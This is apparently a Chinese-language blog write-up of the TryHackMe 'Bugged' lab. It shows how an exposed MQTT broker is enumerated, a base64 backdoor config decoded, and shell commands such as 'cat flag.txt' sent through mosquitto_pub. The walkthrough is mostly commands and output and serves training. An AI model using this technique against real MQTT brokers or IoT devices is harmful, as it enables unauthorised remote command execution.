> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Bugged writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-bugged-writeup-zh-tw/
- Published: 2025-10-24T09:46:10.000Z
- Updated: 2026-07-15T02:50:03.000Z
- Author: Kevin Chen
- Tags: tryhackme, iot, CTF, #MQTT

## 題目資訊

- 平台: TryHackMe
- 房間名稱: Bugged
- 難度: Easy
- 目標: 透過 MQTT 協議滲透 IoT 後門並取得 flag
- 連結: [https://tryhackme.com/room/bugged](https://tryhackme.com/room/bugged?ref=taiwanding.com)

### Step 1: 偵察與掃描

安裝 RustScan   
這邊筆者使用rustscan，原因是IOT設備，可能在非標準端口，所以就想習慣全端口掃描，而rustscan剛好很在行

```bash
# 安裝 Rust 環境
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

# 安裝 RustScan
cargo install rustscan

```

### 執行端口掃描

```bash
rustscan -a 10.201.108.223 -b 2000 -t 2000 -- -A -sV -sC

```

### 掃描結果

```
PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open  mosquitto version 2.0.14

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

**關鍵發現：**

- Port 22: SSH 服務
- Port 1883: MQTT Broker (Mosquitto 2.0.14) ⭐

### Step 2: MQTT 資訊收集

安裝 MQTT 客戶端工具

```bash
sudo apt install mosquitto-clients -y

```

訂閱所有主題

```bash
mosquitto_sub -h 10.201.108.223 -t '#' -v

```

觀察到的正常 IoT 設備主題

```
patio/lights {"id":197558290292873002,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":8177670935004820609,"temperature":23.712273}
livingroom/speaker {"id":14459096491979085303,"gain":41}
kitchen/toaster {"id":9135607054993651940,"in_use":false,"temperature":150.39072}
frontdeck/camera {"id":4606567988321021231,"yaxis":-47.708282,"xaxis":126.773254}

```

🚨 發現可疑主題

```
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

```

**異常點：**

1. 主題名稱是隨機字串（不像其他 IoT 設備的可讀名稱）
2. Payload 可能是 Base64 編碼
3. 主題名稱包含 "config" 關鍵字

### Step 3: 解碼後門配置

解碼 Base64

```bash
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d

```

解碼結果

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "registered_commands": ["HELP","CMD","SYS"],
  "pub_topic": "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub",
  "sub_topic": "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"
}

```

**後門配置分析：**

- **id**: 後門唯一識別碼
- **registered\_commands**: 支援三個命令（HELP, CMD, SYS）
- **pub\_topic**: 後門發布回應的主題
- **sub\_topic**: 後門接收命令的主題

### Step 4: 理解 MQTT Pub/Sub 模式

⚠️ 關鍵概念（容易搞混）  
從**後門程式的角度**：

- `pub_topic` \= 後門發布（publish）回應的地方
- `sub_topic` \= 後門訂閱（subscribe）命令的地方

從**攻擊者的角度**（相反）：

- `pub_topic` \= 我們要**訂閱**來接收回應
- `sub_topic` \= 我們要**發送**命令的地方

### 正確的通訊方式

需要兩個終端!

```
攻擊者終端 1: 訂閱 pub_topic 接收回應
    ↓
mosquitto_sub -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'

攻擊者終端 2: 發送命令到 sub_topic
    ↓
mosquitto_pub -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<base64_command>'

```

### Step 5: 與後門互動

開啟兩個終端

**終端 1 - 監聽回應：**

```bash
mosquitto_sub -h 10.201.108.223 -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub' -v

```

**終端 2 - 發送 HELP 命令：**

```bash
# 建立 HELP 命令的 JSON
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"HELP"}' | base64

# 輸出: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ==

# 發送命令
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ=='

```

終端 1 收到的回應

```
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==

```

解碼 HELP 回應

```bash
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d | jq

```

HELP 訊息內容

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "Message format:\n    Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n        \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"
}

```

**關鍵資訊：**

- 命令格式需要包含 `"arg"` 欄位（不是 "command"）
- CMD 命令可以執行 shell 指令
- 所有內容都需要 Base64 編碼

### Step 6: 執行系統命令

查看當前目錄檔案

```bash
# 建立命令
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -la"}' | base64

# 輸出: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9

# 發送命令
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9'

```

收到的回應（解碼後）

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "total 32\ndrwxr-xr-x 1 challenge challenge 4096 Mar 22  2022 .\ndrwxr-xr-x 1 root      root      4096 Mar 22  2022 ..\n-rw------- 1 challenge challenge   28 Mar 22  2022 .bash_history\n-rw-r--r-- 1 challenge challenge  220 Aug  4  2021 .bash_logout\n-rw-r--r-- 1 challenge challenge 3526 Aug  4  2021 .bashrc\n-rw-r--r-- 1 challenge challenge  807 Aug  4  2021 .profile\n-rw-r--r-- 1 root      root        39 Mar 21  2022 flag.txt\n"
}

```

**🚩 發現 flag.txt！**

### Step 7: 讀取 Flag

執行 cat 命令

```bash
# 建立讀取命令
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"cat flag.txt"}' | base64

# 輸出: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9

# 發送命令
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9'

```

最終回應（解碼後）

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "flag{Redacted}\n"
}

```

## 技術要點總結

### 1\. MQTT 基礎概念

```
MQTT = Message Queuing Telemetry Transport
- 輕量級的 pub/sub 訊息傳遞協議
- 專為 IoT 設備設計
- 預設 Port: 1883 (明文), 8883 (TLS)

```

### 2\. Mosquitto 客戶端工具

```bash
# 訂閱主題
mosquitto_sub -h <host> -t '<topic>' -v

# 訂閱所有主題
mosquitto_sub -h <host> -t '#' -v

# 發布訊息
mosquitto_pub -h <host> -t '<topic>' -m '<message>'

```

### 3\. Pub/Sub 視角理解

```
從服務端角度的命名：
pub_topic → 服務端發布的地方 → 客戶端訂閱
sub_topic → 服務端訂閱的地方 → 客戶端發布

攻擊者操作：
訂閱 pub_topic (接收回應)
發布到 sub_topic (發送命令)

```

## 經驗分享

一開始訂閱錯誤的主題，所以發送之後都沒有收到指令，最後調換過來就有了!

```
❌ 訂閱 sub_topic 等待回應 → 收不到
✅ 訂閱 pub_topic 接收回應

```

這邊額外分享一個，就是一開始不知道怎麼用的話，一定要先看HELP，確定這個MQTT的互動方法，所以Step 5才會馬上先看HELP。